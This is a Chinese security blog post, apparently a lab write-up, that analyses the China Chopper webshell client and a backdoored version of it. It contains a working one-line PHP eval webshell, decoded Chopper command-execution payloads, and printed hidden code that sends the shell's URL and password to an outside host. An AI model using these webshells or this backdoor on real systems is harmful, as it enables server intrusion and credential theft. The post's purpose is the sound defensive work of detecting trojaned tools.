分析菜刀及隐藏后门

0x00 前言

今日在合天网安的web课程中看到了分析菜刀后门的实验,然后就跟着实验做了一遍,正好可以学习一下如何分析软件的后门。

0x01 基本知识

中国菜刀

中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UINCODE方式编译,支持多国语言输入显示

winsock expert

一个用来监视和修改网络发送和接收数据的程序,WinSock Expert可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据

UPX

​ UPX (the Ultimate Packer for eXecutables)是一款先进的可执行程序文件压缩器,压缩过的可执行文件体积缩小50%-70% ,这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。 通过 UPX 压缩过的程序和程序库完全没有功能损失和压缩之前一样可正常地运行,对于支持的大多数格式没有运行时间或内存的不利后果。

Wireshark

​ Wireshark是免费的网络协议检测分析程序。让您经由程序抓取运行的网站的相关资讯,包括每一封包流向及其内容、资讯可依操作系统语系看出,方便查看、监控TCP session动态等等。

PEID

​ 一款专业很好用的查壳软件,几乎可以侦测出所有的壳,其数量已超过470 种PE文档 的加壳类型和签名,另外还可识别出EXE文件是用什么语言编写的,比如:VC++、Delphi、VB或Delphi等。

工具下载地址:

0x02 分析正常菜刀

市面上的中国菜刀有很多版本,有些版本可能会被不发分析植入了后门,那么我们怎么知道自己使用的菜刀会不会被植入了后门尼?

那就来简单的分析下吧,

2.1 静态分析中国菜刀

菜刀的文件类型.exe的可执行程序,那么就要分析改工具使用什么语言写的了。

通过peid等工具可以看出来是使用upx加壳了

在通过winhex查看下,同样显示也是upx加壳

既然加壳了,那就脱壳吧,使用upx脱壳

脱壳成功后在放入peid检测一下看看,得知使用vc++6.0开发的,用C++写的。

2.2 动态分析菜刀

环境:

靶机:Windows server 2003 –192.168.1.134

攻击机:Windows 7–192.168.1.131

在靶机上写一个php一句话放在网站的根目录下,如caodao.php,内容为

1
<?php @eval($_POST['chopper']);?>

然后在攻击机上使用菜刀连接

成功连接上

开启wireshark监听本地的数据包,

过滤规则写ip.addr=192.168.1.131,然后返回菜刀,

输入netstat -an | find “ESTABLISHED”或者whoami这类cmd命令

然后在wireshark中找到靶机和攻击机的ip地址

给攻击机和靶机通信的数据包加上颜色,方便查看

找到靶机和攻击机通过HTTP协议通信的数据包,按下图操作,我们可以追踪tcp流来查看整个tcp数据交互过程

上面红色部分为攻击机POST提交控制命令的内容,下面蓝色部分为靶机返回结果

从红色部分我们可以看到一共有z0,z1,z2三个参数,我们使用burpsuite自带的decoder模块进行解码

可以看到红色部分的代码经过base64以及url的编码,我们解码看看

解码的顺序依次为url解码,然后再base64解码,得到明文

z0=@ini_set(“display_errors”,”0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“>|”);;$p=base64_decode($_POST[“z1”]);$s=base64_decode($_POST[“z2”]);$d=dirname($_SERVER[“SCRIPT_FILENAME”]);$c=substr($d,0,1)==”/“?”-c "{$s}"“:”/c "{$s}"“;$r=”{$p} {$c}”;@system($r.” 2>&1”,$ret);print ($ret!=0)?”ret={$ret}”:””;;echo(“|<-“);die();

z1=cmd

z2=cd /d “C:\phpStudy\PHPTutorial\WWW"&netstat -an | find “ESTABLISHED”&echo [S]&cd&echo [E]

z1的值是cmd,

z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行输入的cmd命令,列出当前用户与当前目录,执行结果如下所示

我们输入其他的命令的话,当然也是可以通过同样的流程进行分析

以上就是中国菜刀的流量通信的特征

了解了正常的菜刀是如何工作的,接下来我们看看被植入恶意后门的菜刀是怎样的。

0x03 分析后门菜刀

为了与前一个菜刀的分析流程进行区分,我们这一步特地选用了另外一个菜刀,使用另外一个抓包软件进行分析。

打开菜刀,启动抓包软件WSockExpert,点击左上角的文件夹图标,选择caidao.exe,点击open即可

然后使用带后门的菜刀连接shell,连接虚拟终端执行命令

在winsockExpert中查看菜刀的通信数据

注:由于没有在网上找到带有后门的菜刀,所以下面的数据都是参考网上带有后门菜刀的数据

完整的post内容是:

1
2
3
4
5
6
7
8
9
10
11
a=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=QGV2YWwo
YmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd
0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVuYjI5a1pHOW5MbWx1TDBGd2FTNXdhSEEvVlhKc1BTY3VKR
jlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGem
N6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xp
bWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWR
VJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pO
yRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaX
NfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP
0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cn
JlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

被urlencode+base64了,看着有点乱,先urldecode下:

1
2
3
4
5
6
7
8
9
10
11
a=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlM
U1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZD
NkeTVuYjI5a1pHOW5MbWx1TDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlU
wVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5p
X3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUo
MCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGl
ybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2Z
vcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnV
uY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXN
yPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmlud
CAkUjs7ZWNobygifDwtIik7ZGllKCk7_

毫无疑问,我们需要分析的是z0这个被base64的部分,解码看看:

1
2
3
4
@eval(base64_decode(*aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL
3d3dy5nb29kZG9nLmluL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1
VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9*));@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_
runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists(*posix_getegid*))?@posix_getpwuid(@posix_geteuid()):**;$usr=($u)?$u[*name*]:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

后面一部分是熟悉的菜刀的代码,但前面为什么居然还有一段加密的呢,接着解,解出来的结果

1
if($_COOKIE[*Lyke*]!=1){setcookie(*Lyke*,1);@file(*http://www.gooddog.in/Api.php?Url=*.$_SERVER[*HTTP_HOST*].$_SERVER[*REQUEST_URI*].*&Pass=*.key($_POST));}

这里的http://www.gooddog.in/Api.php就是这个菜刀的后门地址。

HTTP_HOST就是我们拿到shell的网站,REQUEST_URI就是shell的URI,Pass就是我们菜刀连接一句话时的密码

这段代码的大概意思就是,会将我们拿到shell的网站的地址,密码等都通过后门传送给这个网站的所有者。

这样,我们就分析出了这个菜刀是存在后门的。

0x04 总结

整个分析的过程,基本上没有什么难的地方。以后在网上下载一些报毒的文件,都可以这样来分析一下会不会被植入了后门,像前一阵子的phpstudy一样,引起了很大的风波。

0x04 参考链接

http://www.hetianlab.com/expc.do?ce=85d14d4e-5b36-42b9-9415-453efa35de60


文章作者: madcoding
文章链接: https://www.mad-coding.cn/2020/02/14/分析菜刀及隐藏后门/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 madcoding’s blog
打赏
  • 微信
  • 支付宝

评论